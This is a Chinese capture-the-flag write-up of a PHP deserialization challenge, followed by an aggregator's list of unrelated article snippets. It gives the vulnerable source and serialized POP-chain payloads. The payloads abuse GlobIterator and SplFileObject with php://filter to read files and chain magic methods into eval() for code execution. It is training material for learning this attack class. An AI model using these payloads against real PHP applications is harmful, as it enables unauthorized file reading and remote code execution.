2023愚人杯 )————被遗忘的反序列化

news2024/11/24 22:47:38

 <?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

获取txt文件

注释说有一个txt文件

找到这个

coos和file都是可控的 可以用php原生函数读取这个txt文件

GlobIterator类

GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径,即不需要依赖glob://协议。

但是想要触发__toString()方法还需要利用

所以初步的poc为

  class gBoBg
  {
    public $name = 1;
    public $file = './*.txt';
    public $coos = 'GlobIterator';
  }

  class w_wuw_w
  {
    public $aaa;
    public $key;
    public $file;
  }

 $a=new gBoBg();
 $b=new w_wuw_w();
 $b->aaa = $a;
echo serialize($b);
  

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}

这里的传参方式也很独特

$_SERVER["HTTP_AAAAAA"] 是 PHP 中用于获取 HTTP 请求头部信息中名为 "HTTP_AAAAAA" 的值。

在 Web 开发中,HTTP 请求头部信息包含了客户端(通常是浏览器)发送给服务器的额外信息,这些信息可以包括用户代理(User-Agent)、主机(Host)、来源(Referer)等。而 "HTTP_AAAAAA" 是一个自定义的请求头,其名称由开发者自行定义。

例如,如果客户端发送了一个请求,并且在请求头中包含了名为 "HTTP_AAAAAA" 的自定义信息,那么在 PHP 中可以通过 $_SERVER["HTTP_AAAAAA"] 来获取这个信息的值。

需要注意的是,请求头部信息是由客户端发送给服务器的,因此服务器端的应用程序(比如 PHP)可以使用 $_SERVER 超全局数组来获取这些信息。

所以传参方式是这样的

成功获取txt文件名

h1nt.txt

查看一下

#用于check.php

key:qwertyuiopasdfghjklzxcvbnm123456789

move:2-4

显而易见是凯撒

但是还要看check.php的值

这里虽然过滤了key 但是没有过滤file的值

然后让没有echo$key

但是有echo$aaa

只要让两个值相等就可以echo

构造poc

<?php

    class EeE
    {
     public $text;
    public $eeee;
    }

 class cycycycy
{
   public $a;
   private $b;
 }

 class gBoBg
  {
   public $name;
   public $file;
   public $coos;
  }

 class w_wuw_w
  {
 public $aaa;
 public $key = 2;
 public $file = 'check.php';
 }

$a=new gBoBg();
$b=new w_wuw_w();
$b->aaa =& $b->key;
echo serialize($b);

注意这里的 两个变量相等要用指标符

使他们实际上指向同一个内存地址

(c语言学过忘的一干二净。。。。)

注意这里请求头这里有空格!!!!

然后得到check.php的内容

// 如果输入的字符串长度超过 10000,则终止程序执行并返回错误码 -1。这是一个长度限制的安全检查。
if(strlen($str) > 10000){
    exit(-1);
}

// 定义了一个字符集,包含小写字母和数字。这个字符集是加密和解密过程中使用的。
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";

// 定义了加密时的位移量,这里设置为 4。加密过程中,每个字符将会向左偏移 4 个位置。
$shift = 4;

// 定义了一个空字符串,用于存储加密后的结果。
$shifted = "";

// 使用 for 循环遍历输入字符串中的每个字符。
for ($i = 0; $i < strlen($str); $i++) {

    // 获取当前位置的字符。
    $char = $str[$i];

    // 查找当前字符在字符集中的位置。
    $pos = strpos($charset, $char);

    // 如果字符在字符集中,则执行下面的代码;否则,直接将字符添加到结果中。
    if ($pos !== false) {

        // 计算字符在字符集中新的位置,使用的是凯撒密码加密算法。
        // 这里,($pos - $shift + strlen($charset)) 表示将当前位置向左偏移 4 个位置,
        // 然后取模 strlen($charset) 来确保结果在字符集的范围内。
        $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);

        // 将加密后的字符追加到结果字符串中。
        $shifted .= $charset[$new_pos];
    } else {
        // 将字符添加到结果中。
        $shifted .= $char;
    }
}

// 返回加密后的结果字符串。
return $shifted;

得到加密规则

就是向左移动4位数

逆向一下就是要向右移动4位

爆破一下

def caesar_decrypt(ciphertext, shift):
    plaintext = ""
    alphabet = "qwertyuiopasdfghjklzxcvbnm123456789"
    for char in ciphertext:
        if char in alphabet:
            shifted_index = (alphabet.index(char) - shift) % len(alphabet)
            plaintext += alphabet[shifted_index]
        else:
            plaintext += char
    return plaintext

# 测试
ciphertext = input("请输入需要解密的密文:")
plaintext = caesar_decrypt(ciphertext, -4)
print("解密后的明文:", plaintext)

 fe1ka1ele1efp

得到这个

最后就是构造pop加传参

1 通过反序列化 w_wuw_w类 触发__destruct() 让$aaa=class gBoBg

从而触发gBoBg类里面的__toString()

2 gBoBg类里 让 name 值为空 file值存在 $aa=w_wuw_w() 从而触发w_wuw_w类里的__invoke()

3 w_wuw_w类 __invoke()里面克隆对象 触发EeE里面的__clone()

4 __clone()触发aaa属性 从而成功rce

poc

<?php

class EeE{
    public $text;
    public $eeee;
    
}

class cycycycy{
    public $a;
    private $b;

}

class gBoBg{
    public $name;
    public $file=1;
    public $coos;

}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
       

$a = new EeE();
$b = new cycycycy();
$c = new gBoBg();
$d = new w_wuw_w();
$c->coos=$d;
$d->aaa=$c;

echo serialize($d);

payload

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";i:1;s:4:"coos";r:1;}s:3:"key";N;s:4:"file";N;}

非预期

看别人的wp h1nt.txt也是用原生类函数整出来的

我这里直接读取 虽然有回显但还是有乱码

我们用原生类函数读一下试试

用之前就了解过的 SplFileObject函数

但是之前那道题 有 echo

但是这题没有

就要用php伪协议读取

php://filter/convert.base64-encode/resource=h1nt.txt

poc

<?php
class gBoBg
  {
    public $name = 1;
    public $file = 'php://filter/convert.base64-encode/resource=h1nt.txt';
    public $coos = 'splfileobject';
  }

  class w_wuw_w
  {
    public $aaa;
    public $key;
    public $file;
  }

 $a=new gBoBg();
 $b=new w_wuw_w();
 $b->aaa = $a;
echo serialize($b);
  

base64解密

这样就不会乱码了

然后再好好了解一下php原生类函数(用于反序列化的)

php原生类函数(用于反序列化的)

读取文件类(SplFileObject)

进行目录遍历

DirectoryIterator和FilesystemIterator都需要用glob伪协议

GlobIterator自带glob就不需要了

回到刚才那题直接用原生函数遍历跟目录

可以直接找到flag的名字

 public $file = '/f*';
    public $coos = 'GlobIterator';

然后再用SplFileObject查看

    public $file = 'php://filter/convert.base64-encode/resource=/f1agaaa';
    public $coos = 'SplFileObject';

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1666626.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何远程操作服务器中的Python编译器并将运行结果返回到Pycharm

文章目录 一、前期准备1. 检查IDE版本是否支持2. 服务器需要开通SSH服务 二、Pycharm本地链接服务器测试1. 配置服务器python解释器 三、使用内网穿透实现异地链接服务器开发1. 服务器安装Cpolar2. 创建远程连接公网地址 四、使用固定TCP地址远程开发 本文主要介绍如何使用Pych…

1065 单身狗

solution “单身狗”&#xff1a;没有搭子或者搭子没来的参与者输出id时按增序输出 #include<iostream> #include<map> #include<algorithm> using namespace std; const int maxn 1e6, maxn1 1e4 10; int flag[maxn] {0}, all[maxn1]; int main(){int…

工程师工具箱系列(2)hasor

文章目录 工程师工具箱系列(2)hasor简介特点环境准备引入依赖数据库脚本文件配置Hasor配置 运行测试小结 工程师工具箱系列(2)hasor 简介 Hasor有着自己的独立的生命周期与Spring的不同&#xff0c;是一套完整的体系&#xff0c;提供了注入DataQL、Dataway、hasor-web等等&am…

《中阿科技论坛(中英文)》是什么级别的期刊?是正规期刊吗?

问题解答 问&#xff1a;《中阿科技论坛&#xff08;中英文&#xff09;》是核心期刊吗&#xff1f; 答&#xff1a;不是&#xff0c;但是正规期刊 问&#xff1a;《中阿科技论坛&#xff08;中英文&#xff09;》是什么级别期刊&#xff1f; 答&#xff1a;省级 主管单位…

十三、Redis哨兵模式--Sentinel

上一篇介绍了Redis中的主从复制。我们知道Redis主从中一般只有主节点对外提供写操作&#xff0c;如果主节点发生故障&#xff0c;为了保证Redis的可用性&#xff0c;这时就要在可用的slave节点中&#xff0c;挑选一个作为主节点。这种切换操作如果是人为的操作&#xff0c;那么…

i春秋-GetFlag

题目 考点 sql注入&#xff0c;md5加密&#xff0c;代码审计&#xff0c;利用eval函数 解题 参考wp https://www.cnblogs.com/qiaowukong/p/13630130.html找md5值 看见验证码中的提示&#xff0c;就是去找一个md5值前六位是指定值的数&#xff08;严格来说不一定是数&…

基于python的旅游爬虫可视化与实现

摘要 本项目为基于python的旅游爬虫可视化的设计与实现&#xff0c;项目以Web系统形式展示&#xff0c;利用Xpath爬虫爬取去哪儿网针对旅游业的需求&#xff0c;对国内热门旅游景点数据可视化系统&#xff0c;将爬取好的数据保存为CSV文件&#xff0c;再通过ORM框架导入MySQL数…

出现Duplicate key

解决&#xff1a; 第一种情况&#xff1a; 添加一个字段prjId &#xff0c;和数据库表映射时&#xff0c;映射的字段存在映射关系了。 将第二个 TableField中的prj_num改成prj_id 即可。 第二种情况&#xff1a; 转成map的形式时&#xff1a;key重复了&#xff0c;不知道把值赋…

QuickBooks 2024 for Mac 激活版:智慧管理,财务无忧

想要轻松掌控财务&#xff0c;实现高效管理吗&#xff1f;QuickBooks 2024 for Mac&#xff0c;您的智慧财务管理专家&#xff0c;为您带来前所未有的便利和体验。无论是账务、工资还是销售和库存&#xff0c;它都能一手搞定。直观易用的界面&#xff0c;让您轻松上手&#xff…

(二)Jetpack Compose 布局模型

前文回顾 &#xff08;一&#xff09;Jetpack Compose 从入门到会写-CSDN博客 首先让我们回顾一下上一篇文章中里提到过几个问题&#xff1a; ComposeView的层级关系&#xff0c;互相嵌套存在的问题&#xff1f; 为什么Compose可以实现只测量一次&#xff1f; ComposeView和…

加密与CA证书

文章目录 加密与CA证书http协议是不安全的使用对称秘钥进行数据加密非对称秘钥加密CA证书应用补充 加密与CA证书 CA 证书是什么&#xff0c;证书的目的是什么 首先明确一点&#xff0c;CA证书是数字时代中确保身份和数据安全的重要工具&#xff0c;为用户提供了安心、便捷和可…

vlock工具:锁定Linux终端的安全智能方法

虚拟控制台是 Linux 非常重要的功能&#xff0c;它们为系统用户提供 shell 提示&#xff0c;以非图形设置方式使用系统&#xff0c;该设置只能在物理机上使用&#xff0c;而不能远程使用。 用户只需从一个虚拟控制台切换到另一个虚拟控制台即可同时使用多个虚拟控制台会话。 …

[机器学习-05] Scikit-Learn机器学习工具包进阶指南:协方差估计和交叉分解功能实战【2024最新】

&#x1f3a9; 欢迎来到技术探索的奇幻世界&#x1f468;‍&#x1f4bb; &#x1f4dc; 个人主页&#xff1a;一伦明悦-CSDN博客 ✍&#x1f3fb; 作者简介&#xff1a; C软件开发、Python机器学习爱好者 &#x1f5e3;️ 互动与支持&#xff1a;&#x1f4ac;评论 &…

QT自适应界面 处理高DPI 缩放比界面乱问题

1.pro文件添加 必须添加要不找不到 QT版本需要 5。4 以上才支持 QT widgets 2.main界面提前处理 // 1. 全局缩放使能QApplication::setAttribute(Qt::AA_EnableHighDpiScaling, true);// 2. 适配非整数倍缩放QGuiApplication::setHighDpiScaleFactorRoundingPolicy(Qt::High…

EPAI手绘建模APP工程图顶部工具栏

7、工程图 图 302 工程图 工程图包括顶部常用工具栏、右侧工程图工具栏、左侧模型列表栏、中间的工程图。 (1) 常用工具栏 ① 删除&#xff0c;选中场景中工程图元素后&#xff0c;删除。可以选择多个工程图元素同时删除。 ② 设置&#xff0c;打开工程图设置页面&#xff0…

科林Linux_4 信号

#include <signal.h> 信号signal&#xff1a;Linux或Unix系统支持的经典的消息机制&#xff0c;用于处置进程&#xff0c;挂起进程或杀死进程 kill -l #查看系统支持的信号 1~31 Unix经典信号&#xff08;软件开发工程师&#xff09; 34~64 自定义信号/实时信号&am…

pycharm 将项目连同库一起打包及虚拟环境的使用

目录 一、创建虚拟环境 1、用 anaconda 创建 2、Pycharm 直接创建 二、虚拟环境安装第三方库 1、创建项目后&#xff0c;启动终端(Alt F12)&#xff0c;或者点击下方标记处。 2、使用 pip 或者 conda 来进行三方库的安装或卸载 3、将项目中的库放入文档&#xff0c;便于…

Python深度学习基于Tensorflow(1)Numpy基础

文章目录 数据转换和数据生成存取数据数据变形和合并算数计算广播机制使用Numpy实现回归实例 numpy的重要性不言而喻&#xff0c;一般不涉及到GPU/TPU计算&#xff0c;都是用numpy&#xff0c;常见的np就是这个玩意。其特点就是快&#xff01;其实如果不涉及到深度学习&#xf…

【挑战30天首通《谷粒商城》】-【第一天】01、简介-项目介绍

文章目录 课程介绍一、 项目介绍1、项目背景A、电商模式1、B2B 模式2、B2C 模式3、C2B 模式4、C2C 模式5、O2O 模式 1.2、项目架构图1.3、项目技术 & 特色1.4、项目前置要求二、分布式基础概念(略)三、环境撘建(略) one more thing 课程介绍 1.分布式基础(全栈开发篇)2.分…

音视频开发6 音视频录制原理和播放原理

音视频录制原理 音视频播放原理